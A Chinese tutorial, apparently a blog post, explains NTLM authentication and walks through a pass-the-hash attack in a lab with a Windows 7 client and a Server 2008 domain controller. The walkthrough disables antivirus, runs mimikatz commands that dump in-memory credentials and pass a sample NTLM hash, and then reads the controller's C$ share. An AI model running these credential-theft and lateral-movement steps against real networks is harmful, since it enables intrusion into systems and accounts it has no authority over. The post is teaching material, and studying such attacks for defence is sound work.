内网渗透(哈希传递)

概念

早期SMB协议明文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM。

哈希传递前提

同密码(攻击主机与实现主机两台要密码一致)。

NTLM协议

加密ntlm哈希

转换成16进制------转换成加密------转换成MD4

NTLM协议:用于远程登录。例如 22

原理

  1. client(win10)将账户名(test)传给server。
  2. 在server中判断本地账户名(test)是否存在,没有就失败,有的话生成challenge(随机生成的),查找user对应的NTLM哈希(在sam里找),使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client(win10)。
  3. client(win10)接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,将response发送给server。
  4. server对比自己内存中的net-ntlm hash与client(win10)发来的response是否一致。

哈希传递攻击

哈希传递攻击的前提

  • 首先是管理员,必须提前从不同用户变成管理员
  • 需要用户名和ntml哈希值
  • 如果对方主机在域内,就使用域名;如果不在域内,就使用工作组环境的攻击方式

什么情况下会用哈希传递攻击

  • 攻陷一台主机以后,抓不到该主机用户的明文密码
  • 失陷主机和局域网内存在相同密码

哈希传递攻击

工具:mimikatz

环境:域控(server 2008)、客户机(win 7)

网段:在同一网段,都为NAT模式

域控(server)

  • 静态IP:10.1.1.1

在server中查看445是否开放

  • 查看域控C盘
  • 共享C盘(在cmd中输入命令net share

客户端开始攻击(win7)

  • IP:10.1.1.2

  • 关闭杀毒软件

用mimikatz64位工具,必须是system权限

在打开cmd命令解释器必须以管理员身份运行(因为要用到mimikatz工具)

进入mimikatz.exe

攻击利用

  • 提升权限(注:需以管理员权限运行)
bash 复制代码
privilege::debug
  • 获取内存中保存的登录信息
bash 复制代码
sekurlsa::logonpasswords 
  • 并抓到自己用户的哈希值(NTLM)
  • 进行哈希攻击
php 复制代码
sekurlsa::pth /user:administrator /domain:xiusafe.com /ntlm:32ed87bdb5fdc5e9cba88547376818d4  #pth是哈希传递,domain后面跟的是域
  • 同时弹出一个新的cmd窗口

此时哈希值已经准备好,但还未攻击

开始攻击

  • 查看域控(server)C盘
php 复制代码
dir \\10.1.1.1\c$
  • 与域控C盘进行对比
  • 攻击成功

总结

哈希传递攻击是由于局域网内有多台主机存在相同密码造成的,绕过ntlm认证。

相关推荐
仙俊红2 小时前
LeetCode487周赛T2,删除子数组后的最终元素
数据结构·算法
-dzk-8 小时前
【代码随想录】LC 59.螺旋矩阵 II
c++·线性代数·算法·矩阵·模拟
风筝在晴天搁浅8 小时前
hot100 78.子集
java·算法
Jasmine_llq8 小时前
《P4587 [FJOI2016] 神秘数》
算法·倍增思想·稀疏表(st 表)·前缀和数组(解决静态区间和查询·st表核心实现高效预处理和查询·预处理优化(提前计算所需信息·快速io提升大规模数据读写效率
超级大只老咪9 小时前
快速进制转换
笔记·算法
树℡独9 小时前
ns-3仿真之应用层(五)
服务器·网络·tcp/ip·ns3
m0_706653239 小时前
C++编译期数组操作
开发语言·c++·算法
故事和你919 小时前
sdut-Java面向对象-06 继承和多态、抽象类和接口(函数题:10-18题)
java·开发语言·算法·面向对象·基础语法·继承和多态·抽象类和接口
qq_423233909 小时前
C++与Python混合编程实战
开发语言·c++·算法
TracyCoder1239 小时前
LeetCode Hot100(19/100)——206. 反转链表
算法·leetcode